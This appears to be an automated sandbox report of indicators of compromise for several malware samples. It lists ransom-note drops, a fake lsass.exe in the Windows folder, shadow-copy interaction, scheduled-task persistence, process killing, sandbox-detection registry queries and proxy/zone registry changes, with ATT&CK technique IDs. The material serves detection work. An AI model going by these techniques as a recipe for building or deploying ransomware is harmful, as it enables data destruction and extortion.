307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exesetup.exe6c3c9af653a28977257ce971ed701b1b893cdf67d5c57baa44a9d76c28675dc3.exe

description	ioc	process
File opened for modification	C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\Assets\AppPackageAppList.targetsize-24_altform-unplated.png	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File created	C:\Program Files\WindowsApps\Microsoft.GetHelp_10.1706.13331.0_neutral_~_8wekyb3d8bbwe\HOW TO DECRYPT FILES.txt	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File created	C:\Program Files\WindowsApps\Microsoft.MicrosoftOfficeHub_18.1903.1152.0_neutral_split.scale-100_8wekyb3d8bbwe\HOW TO DECRYPT FILES.txt	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\platform\modules\locale\org-netbeans-swing-plaf_zh_CN.jar	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File opened for modification	C:\Program Files (x86)\Microsoft\EdgeCore\112.0.1722.34\Locales\af.pak	setup.exe
File opened for modification	C:\Program Files\Common Files\System\Ole DB\en-US\msdasqlr.dll.mui	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.e4.ui.model.workbench.nl_ja_4.4.0.v20140623020002.jar	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-sampler_zh_CN.jar	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\sdxs\FA000000042\index.win32.bundle.map	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\OFFICE16\oregres.dll	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\plugins\audio_filter\libspeex_resampler_plugin.dll	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File created	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Web Server Extensions\16\Kazaa Lite.exe	6c3c9af653a28977257ce971ed701b1b893cdf67d5c57baa44a9d76c28675dc3.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MicrosoftOfficeHub_18.1903.1152.0_x64__8wekyb3d8bbwe\images\Wide310x150Logo.scale-200.png	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\Assets\contrast-white\AppPackageSplashScreen.scale-400_contrast-white.png	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\ant-javafx.jar	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\Fonts\private\BRADHITC.TTF	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\OFFICE16\api-ms-win-crt-process-l1-1-0.dll	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File created	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\VBA\HOW TO DECRYPT FILES.txt	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File opened for modification	C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\contrast-white\AppPackageWideTile.scale-125_contrast-white.png	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.BingWeather_4.25.20211.0_x64__8wekyb3d8bbwe\clrcompression.dll	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File opened for modification	C:\Program Files (x86)\Microsoft\EdgeCore\112.0.1722.34\Locales\sv.pak	setup.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\bin\msvcr100.dll	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Getstarted_8.2.22942.0_neutral_split.scale-200_8wekyb3d8bbwe\AppxBlockMap.xml	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File opened for modification	C:\Program Files\Common Files\System\Ole DB\msdatl3.dll	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-modules-appui.xml	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Help\hxds.dll	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File opened for modification	C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.DesktopAppInstaller_1.0.30251.0_neutral_split.scale-100_8wekyb3d8bbwe\Assets\AppPackageWideTile.scale-100.png	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_4.4.8204.0_neutral_split.scale-200_8wekyb3d8bbwe\Win10\MicrosoftSolitaireWideTile.scale-200.jpg	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\106.0.5249.119\Locales\pl.pak	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\modules\org-netbeans-modules-profiler-snaptracer.jar	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\SharePointPortalSite.ico	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\System\msvcr110.dll	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File opened for modification	C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.WindowsAlarms_10.1906.2182.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\AlarmsMedTile.contrast-black_scale-125.png	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\lib\missioncontrol\plugins\org.eclipse.emf.ecore.xmi_2.10.1.v20140901-1043.jar	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File created	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\BLUEPRNT\HOW TO DECRYPT FILES.txt	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.549981C3F5F10_1.1911.21713.0_x64__8wekyb3d8bbwe\Assets\Store\AppIcon.scale-400.png	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\GRPHFLT\MS.PNG	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\bin\rmiregistry.exe	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File opened for modification	C:\Program Files\WindowsApps\DeletedAllUserPackages\Microsoft.WindowsMaps_5.1906.1972.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\SecondaryTiles\Directions\Home\RTL\contrast-white\MedTile.scale-125.png	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\106.0.5249.119\Locales\fi.pak	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\106.0.5249.119\Locales\lt.pak	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\README.html	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Integration\C2RManifest.officemui.msi.16.en-us.xml	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\OFFSYMXB.TTF	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File opened for modification	C:\Program Files\Windows NT\TableTextService\TableTextServiceYi.txt	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\Assets\contrast-black\AppPackageSplashScreen.scale-200_contrast-black.png	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Microsoft3DViewer_6.1908.2042.0_x64__8wekyb3d8bbwe\Assets\Square44x44Logo.targetsize-80_altform-unplated.png	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File created	C:\Program Files\Google\Chrome\Application\106.0.5249.119\Locales\HOW TO DECRYPT FILES.txt	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File opened for modification	C:\Program Files\Java\jdk1.8.0_66\jre\lib\images\cursors\win32_MoveDrop32x32.gif	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File opened for modification	C:\Program Files\Java\jre1.8.0_66\lib\rt.jar	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Document Themes 16\Ion Boardroom.thmx	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\ADDINS\PowerPivot Excel Add-in\Microsoft.Excel.ReportingServices.QueryDesigners.dll	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\Fonts\private\SEGOEUISL.TTF	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\plugins\video_filter\libsepia_plugin.dll	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File opened for modification	C:\Program Files (x86)\Microsoft\EdgeCore\112.0.1722.34\Locales\en-GB.pak	setup.exe
File opened for modification	C:\Program Files\Java\jre1.8.0_66\lib\deploy.jar	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File opened for modification	C:\Program Files\Common Files\System\Ole DB\oledb32.dll	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File created	C:\Program Files\Windows Media Player\HOW TO DECRYPT FILES.txt	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\Assets\contrast-white\AppPackageBadgeLogo.scale-400_contrast-white.png	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.HEIFImageExtension_1.0.22742.0_x64__8wekyb3d8bbwe\Assets\contrast-white\AppList.targetsize-60_contrast-white.png	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File opened for modification	C:\Program Files\Java\jre1.8.0_66\bin\plugin2\npjp2.dll	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\vcruntime140.dll	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\plugins\codec\libdca_plugin.dll	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\Assets\contrast-white\AppPackageAppList.targetsize-72_altform-unplated_contrast-white.png	307a61c288932ffeb7a25d667cf2911266c5379acfab20aa9a52c1aa1148d59b.exe

Drops file in Windows directory 39 IoCs

Processes:

msiexec.exe6c3c9af653a28977257ce971ed701b1b893cdf67d5c57baa44a9d76c28675dc3.exeWebCompanion.exeWebCompanionInstaller.exeuvfooggihuyjdiz.exeGjefia.exe

description	ioc	process
File opened for modification	C:\Windows\Installer\MSI3F28.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\lsass.exe	6c3c9af653a28977257ce971ed701b1b893cdf67d5c57baa44a9d76c28675dc3.exe
File created	C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\security.config.cch.new	WebCompanion.exe
File created	C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\SystemFoldermsiexec.exe	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI3819.tmp	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{C845414C-903C-4218-9DE7-132AB97FDF62}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI41BC.tmp	msiexec.exe
File created	C:\Windows\Installer\e5a3628.msi	msiexec.exe
File opened for modification	C:\Windows\lsass.exe	6c3c9af653a28977257ce971ed701b1b893cdf67d5c57baa44a9d76c28675dc3.exe
File created	C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\enterprisesec.config.cch.new	WebCompanion.exe
File opened for modification	C:\Windows\Installer\e5a3625.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI3A7C.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI3EF9.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI444D.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI3B0B.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\logo.exe	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI3FC7.tmp	msiexec.exe
File created	C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\logo.exe	msiexec.exe
File opened for modification	C:\Windows\Installer\{C845414C-903C-4218-9DE7-132AB97FDF62}\SystemFoldermsiexec.exe	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI445E.tmp	msiexec.exe
File created	C:\Windows\Installer\e5a3625.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI3A5C.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI3C47.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI3FC6.tmp	msiexec.exe
File created	C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\security.config.cch.new	WebCompanionInstaller.exe
File created	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\security.config.cch.new	uvfooggihuyjdiz.exe
File created	C:\Windows\vaulting.exe	Gjefia.exe
File created	C:\Windows\jewels.exe	Gjefia.exe
File opened for modification	C:\Windows\Installer\MSI3ACB.tmp	msiexec.exe
File created	C:\Windows\Microsoft.NET\Framework\v2.0.50727\config\enterprisesec.config.cch.new	WebCompanionInstaller.exe
File created	C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\enterprisesec.config.cch.new	uvfooggihuyjdiz.exe
File created	C:\Windows\WebView2Loader.dll	Gjefia.exe
File opened for modification	C:\Windows\Installer\MSI3B3A.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI3B6A.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI3BE8.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI3DBF.tmp	msiexec.exe

Launches sc.exe 6 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exe

pid process

5196 sc.exe
3412 sc.exe
5208 sc.exe
5624 sc.exe
4512 sc.exe
740 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

pid	process
5196	sc.exe
3412	sc.exe
5208	sc.exe
5624	sc.exe
4512	sc.exe
740	sc.exe

Program crash 10 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
3288	1768	WerFault.exe
3176	4384	WerFault.exe	setup_0.exe
5392	4384	WerFault.exe	setup_0.exe
4020	4384	WerFault.exe	setup_0.exe
3144	4384	WerFault.exe	setup_0.exe
1548	4384	WerFault.exe	setup_0.exe
3304	4384	WerFault.exe	setup_0.exe
1268	4384	WerFault.exe	setup_0.exe
3620	4384	WerFault.exe	setup_0.exe
876	4384	WerFault.exe	setup_0.exe

NSIS installer 2 IoCs

installer

Processes:

resource	yara_rule
C:\Windows\jewels.exe	nsis_installer_1
C:\Windows\jewels.exe	nsis_installer_2

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

taskmgr.exetaskmgr.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe

Checks processor information in registry 2 TTPs 9 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

runonce.exefirefox.exetaskmgr.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	runonce.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	taskmgr.exe
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	runonce.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe

Creates scheduled task(s) 1 TTPs 13 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
5984	schtasks.exe
1436	schtasks.exe
3868	schtasks.exe
5940	schtasks.exe
1112	schtasks.exe
1164	schtasks.exe
5300	schtasks.exe
2152	schtasks.exe
4396	schtasks.exe
3168	schtasks.exe
1156	schtasks.exe
3088	schtasks.exe
5020	schtasks.exe

Enumerates system info in registry 2 TTPs 9 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

msedgewebview2.exemsedgewebview2.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedgewebview2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedgewebview2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedgewebview2.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedgewebview2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedgewebview2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedgewebview2.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer

Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Processes:

vssadmin.exe

pid process

5596 vssadmin.exe
Kills process with taskkill 8 IoCs
evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid process

2752 taskkill.exe
3324 taskkill.exe
1988 taskkill.exe
5328
5404
2596 taskkill.exe
5664 taskkill.exe
1528 taskkill.exe

pid	process
5596	vssadmin.exe

pid	process
2752	taskkill.exe
3324	taskkill.exe
1988	taskkill.exe
5328
5404
2596	taskkill.exe
5664	taskkill.exe
1528	taskkill.exe

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

splash.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\Gittings.exe = "4270840"	splash.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\Gittings.exe = "4270840"	splash.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\Recombining.exe = "4270840"	splash.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\Recombining.exe = "4270840"	splash.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	splash.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\Gittings.exe = "4270840"	splash.exe
Key created	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	splash.exe
Key created	\REGISTRY\MACHINE\Software\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	splash.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\Recombining.exe = "4270840"	splash.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

MicrosoftEdgeUpdate.exeMicrosoftEdgeUpdate.exemsiexec.exereg.exeMicrosoftEdgeUpdate.exePowerRun64.exePowerRun64.exePowerRun64.exePowerRun64.exePowerRun64.exePowerRun64.exePowerRun64.exePowerRun64.exereg.exePowerRun64.exePowerRun64.exePowerRun.exePowerRun64.exereg.exePowerRun.exePowerRun.exeConhost.exePowerRun.exePowerRun64.exePowerRun64.exePowerRun64.exereg.exereg.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	MicrosoftEdgeUpdate.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	MicrosoftEdgeUpdate.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\1E\52C64B7E	msiexec.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	reg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	MicrosoftEdgeUpdate.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	MicrosoftEdgeUpdate.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	MicrosoftEdgeUpdate.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	MicrosoftEdgeUpdate.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	MicrosoftEdgeUpdate.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	reg.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	MicrosoftEdgeUpdate.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	PowerRun64.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	MicrosoftEdgeUpdate.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	MicrosoftEdgeUpdate.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	MicrosoftEdgeUpdate.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	PowerRun64.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	reg.exe
